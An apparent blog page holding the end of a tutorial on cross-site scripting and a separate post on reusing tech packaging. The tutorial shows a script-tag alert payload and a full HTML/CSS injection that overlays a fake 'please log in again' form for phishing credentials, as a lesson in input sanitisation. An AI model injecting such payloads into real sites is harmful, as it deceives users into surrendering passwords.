        <p>In odio ex, gravida in dolor quis, commodo tempus dui. Donec egestas felis sit amet tortor pretium convallis. Aliquam ultrices, nulla eget pellentesque hendrerit, lectus arcu varius orci, finibus congue sapien magna id dolor. Vestibulum neque dolor, cursus sit amet nulla in, feugiat sagittis risus. Cras facilisis bibendum pulvinar. Integer finibus aliquam ipsum, in commodo lorem placerat non. Interdum et malesuada fames ac ante ipsum primis in faucibus. Donec et magna at dolor scelerisque consequat pharetra a nisi. Morbi viverra sapien lorem, eget venenatis diam auctor ultrices. Duis congue felis mattis egestas mollis. Duis aliquam turpis nisi, sit amet rutrum nibh sodales eget.</p>

        <p>Vestibulum eget dolor urna. Pellentesque nisi risus, tincidunt pretium ultricies eget, semper sed est. Mauris egestas, metus sit amet porta fringilla, ipsum magna rhoncus arcu, at iaculis lacus ligula quis turpis. Morbi vitae efficitur nulla. Pellentesque elementum, justo quis dignissim dapibus, eros est faucibus erat, sollicitudin lacinia felis justo nec lacus. Morbi vitae lobortis enim. Phasellus metus nibh, fermentum non lacinia non, tempus sit amet ipsum. Aenean sollicitudin egestas lobortis. Integer dictum ultricies dui a facilisis. Praesent augue augue, porta vel eros et, congue porttitor ipsum. Phasellus hendrerit felis purus, vitae facilisis enim auctor eu. Integer laoreet dapibus sodales. </p>

        <p>Vestibulum pellentesque hendrerit convallis. Curabitur tempor at odio quis tristique. Phasellus accumsan quam et sem pellentesque tempus. Donec non arcu sed risus vehicula efficitur eu at est. Ut vestibulum et nisi sed malesuada. Nunc mattis egestas nulla, nec malesuada sapien tempor a. Aenean ullamcorper nulla id lacus varius pulvinar. Ut vitae nisl fermentum, sagittis magna sed, ultricies enim. Nunc et ante id felis varius ultrices. Ut sit amet diam dapibus, bibendum risus sed, posuere urna. Maecenas eleifend ante non imperdiet efficitur. Sed vel nisl quis lorem commodo varius ut faucibus quam. Suspendisse placerat accumsan quam, in malesuada tellus. Integer quam augue, feugiat vel neque eget, pretium ultrices mi. Vestibulum a sollicitudin est. </p>
    </body>
</html>


When you run this, it takes the string entered and displays it - a big XSS no-no.






XSS with JavaScript

Running with the example above, let's try using a script tag in the input.

<script>alert('xss attack!')</script>


Right now, it's a simple alert() function being run; but what happens if it actually does something terrible?





XSS without JavaScript

You might be thinking - let's just disable JavaScript; problem solved! In this day and age, disabling JavaScript has the undesirable effect of crippling the user interface to the point where usability is greatly diminished. In business terms, this is impractical and utterly unacceptable.

And, as mentioned, strange as it may sound, you can still carry out XSS without JavaScript.

Try entering this string. Note that there are no script tags in it - only a form tag.
<div style="font-family:verdana;width:100%;height:100%;position:fixed;left:0;top:0;right:0,bottom:0;background-color:rgba(0,0,0,0.8);"><br /><br /><br /><br /><div style="width:600px;height:auto;background-color:rgba(255,255,255,1);border-radius:20px;padding:20px;margin:0 auto 0 auto"><h3 style="color:red;text-align:center">Warning</h3><h4>You have been logged out of the system for security reasons. Someone may be attempting to steal your password. To regain control over your credentials, please log in again. </h4><form method="POST" action="http://www.teochewthunder.com"><table width="100%"><tr><td><label>ID:</label></td><td><input type="text"></td></tr><tr><td><label>Pasword:</label></td><td><input type="password"></td></tr><tr><td></td><td><button type="submit" style="width:100px;height:30px;color:white;font-weight:bold;background-color:rgba(50,50,255,1);border-radius:50px">Login</button></td></tr><tr><td></td><td></td><td><small><i>Symphonetic Security Systems &copy; 2020</i></small></td></tr></table></form></div></div>


And woosh! Now when the page is run, it pops up an overlay with an official-looking form asking the user to log in with his or her username and password. It's a combination of Social Engineering and Phishing. Again, no JavaScript was run here - it was all purely HTML and CSS.





If you submit the form, right now, all it does is go to www.teochewthunder.com. But what if it redirected the user to somewhere way more sinister, where the username and password were now stored for nefarious purposes?

In conclusion...

XSS is not about JavaScript.

It's not just JavaScript that a developer has to look out for. In the example given, it wasn't just that the input was not sanitized against malicious JavaScript - it wasn't sanitized against HTML tags, period. The input text length was not restricted.

It's time to stop thinking of XSS as a JavaScript attack, and more as HTML injection.

<script>alert("I hope this has been useful!");</script>
T___T

Friday 4 December 2020

Five Ways To Reuse Tech Packaging Materials

When tech products are purchased, they invariably come with packaging. Stuff that, more often than not, needs to be disposed of because it just isn't useful anymore. What if I said you didn't have to? What if I told you there are uses for that shit?

Here are some of the ways I've put old tech discardables to other uses.

1. Toilet roll holder

This used to hold a stack of writable DVDs. Remember those? Well... DVDs are this close to obsolete, and with them, the spokes that used to hold them aren't very far behind.


From this...

... to this!

But did you also know they make great toilet roll holders?!

This baby has been with me for years. It was from my first job in Desktop Support. I actually have a lot more of these, but my then-colleagues saw how useful they were and decided they wanted some toilet roll holders, too.

2. Laptop elevator

Look at this. So much packaging for one Oppo mobile phone. It's really neat and all, but what do we do with this once we remove the mobile phone?

All that packaging.

In my case, I use this as an elevating platform for my MacBook. Because I'm too el cheapo to get an actual elevator.

My MacBook resting on the
makeshift platform.

View from the side.

And here's another view from the side, where I've glued socket protectors to the side of the table to act as posts to coil excess cable around.

3. Container

Here's another example from mobile phone packaging. This one was from a ASUS ZenFone, maybe five years back.

More packaging.


Turn them into containers.


In this case, I managed to divide it into two uses. The outer sheath was used as a container for my other pairs of backup glasses. Because, when your eyesight isn't that good, you can't have enough backup glasses. The other was used as a container for all my spare change. And since I'm anal that way, I actually used those compartments to separate different coin denominations!


4. Mobile Phone Stand

Sometimes, it needs a little more work.

Cute, ain't it.

This little cardboard box used to hold a mouse. I cut a slit into the top flap and turned the box into a stand for charging one of my mobile phones.

5. Tray

These cardboard pieces were from MacBook Pro packaging. They were used to wrap the sides of the box that contained the laptop. Overkill? I don't know. But once my colleague unwrapped it, I knew I could use those cardboard pieces.

For what exactly?

And yet more packing material.


Here be cigarettes.

Trays for holding stuff. Like, ahem, cigarettes. Maybe snacks. Odds and ends. Come on, use your imagination!

Conclusion

Some might call this a form of recycling trash. I prefer the term "re-purposing". These things are no longer trash now that we've discovered a new purpose for them, right?

Good recycling to bad rubbish!
T___T